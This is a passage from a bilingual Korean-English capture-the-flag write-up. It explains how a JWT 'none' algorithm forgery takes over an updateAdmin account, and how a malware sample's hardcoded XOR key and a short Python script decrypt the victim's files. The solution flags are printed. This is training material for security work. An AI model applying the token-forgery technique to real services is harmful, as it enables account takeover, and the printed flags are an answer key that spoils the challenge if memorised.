하지만 이를 통해 로그인된 계정은 업데이트 스크립트를 관리하는 권한이 존재하지 않는 계정이다. 따라서 해커는 또 다른 공격 벡터를 이용해 권한 상승에 성공한 것 같다.

업데이트 관리 서버를 조사해 해커의 공격 벡터를 식별하라. FLAG 형식: 2022admmp{문제 풀이시 제공되는 해싱값}

We confirmed hacker signed in by Blind SQL Injection attack. But, the account hacker logged in does not have permission to manage update scripts. So the hacker seems to have used another attack vector to rise privilege.

Check the updtae management server and identify the attack vector. FLAG format: 2022admmp{hash value when solve the problem}
```
keyAdmin 계정을 통해 관리자 페이지에 접속하면 업데이트 스크립트를 관리할 수 있는 메뉴를 확인할 수 있습니다.

If you login to admin page using keyAdmin account, you can see a menu that manage update scripts.

메뉴를 클릭하면 `only updateAdmin can Access Here` 라는 메시지를 확인할 수 있으며 updateAdmin 계정을 획득해야 하는것을 알아낼 수 있습니다.

Click the menu then you can see `only updateAdmin can Access Here`. Therefore, you should acquire `updateAdmin` account.

해당 서버는 인증 정보가 포함된  JWT 토큰을 쿠키 세션에 저장하여 관리합니다. 이를 통해 JWT None Algorithm 공격을 시도해볼수 있습니다.

That server save JWT tocken which included authentication at the cookie session. Then you should try JWT None Algorithm attack.

keyAdmin 계정으로 발급된 토큰을 디코딩 해보면 토큰이 아래와 같은 형식으로 이루어 진 것을 확인할 수 있습니다. 

If you decode the JWT token issued for the keyAdmin account, you can see that the token is made in the following format.

![](https://i.imgur.com/nmO3rSq.png)


JWT 토큰의 알고리즘을 None으로 변경해 JWT 토큰을 위조하면 updateAdmin 계정을 탈취할 수 있습니다. 

You can steal the updateAdmin account by changing the algorithm of the JWT token to None and forging the JWT token.

![](https://i.imgur.com/HctnI88.png)


탈취된 계정을 이용해 updates 메뉴에 접근할 수 있으며, 해당 메뉴에서 add update 버튼을 클릭하면 플래그를 획득할 수 있습니다
You can access "updates" menu with updateAdmin account, then get flag by clicking "add update" button

![](https://i.imgur.com/BvmBg7t.png)


flag: 2022admmp{80f7bd4f7412623a4124291d90139653}

### Prob 4
```
관제팀에서 악성 스크립트를 통해 추가 다운로드된 바이너리를 확보하였다.

이를 분석하여 암호화된 파일을 복호화하여라.

FLAG 포맷: 2022admmp{...}

The control team has secured the binary downloaded from malicious script.

Analyze it and decrypt the encrypted file.

FLAG format: 2022admmp{...}
```
제공된 압축파일에는 암호화된 파일과 바이너리가 존재합니다. 

There exist some encrypted file and binary file in the given zip file.

![](https://i.imgur.com/zVGIG0s.png)

바이너리를 분석하면 C:\\Users\\ADMM\\Desktop 경로에 있는 파일들을 16바이트 키로 XOR하여 암호화 하는것을 확인할 수 있습니다.

If analyze the binary file, you can see that binary encrypts file located at the path `C:\Users\ADMM\Desktop` using 16 byte XOR key. 

XOR 키는 하드코딩되어 있으며 다음과 같습니다

XOR key is hardcoded at the binary. You can find it as below. 

“34 AB DF F2 26 63 3E EA A0 03 3B BA AC C4 41 11”

![](https://i.imgur.com/n2KMEna.png)

![](https://i.imgur.com/ngzNIQ4.png)

해당 키와 간단한 파이썬 스크립트를 이용해 암호화된 파일을 복호화 할 수 있으며 복호화 코드 예제는 아래와 같습니다 .

You can decrypt the encrypted file using this key and python script. Example codes are as follows.

```python
def Xor(data, key):
    result = ""
    for i in range(len(data)):
       result += chr(data[i] ^ key[i % len(key)])
	
    return result

if __name__ == "__main__":
    key = b"\x34\xAB\xDF\xF2\x26\x63\x3E\xEA\xA0\x03\x3B\xBA\xAC\xC4\x41\x11"
    data = open("file.enc", "rb").read()
    print(Xor(data,key))
```

flag: 2022admmp{2c58c778e6402072987312a53a13158a}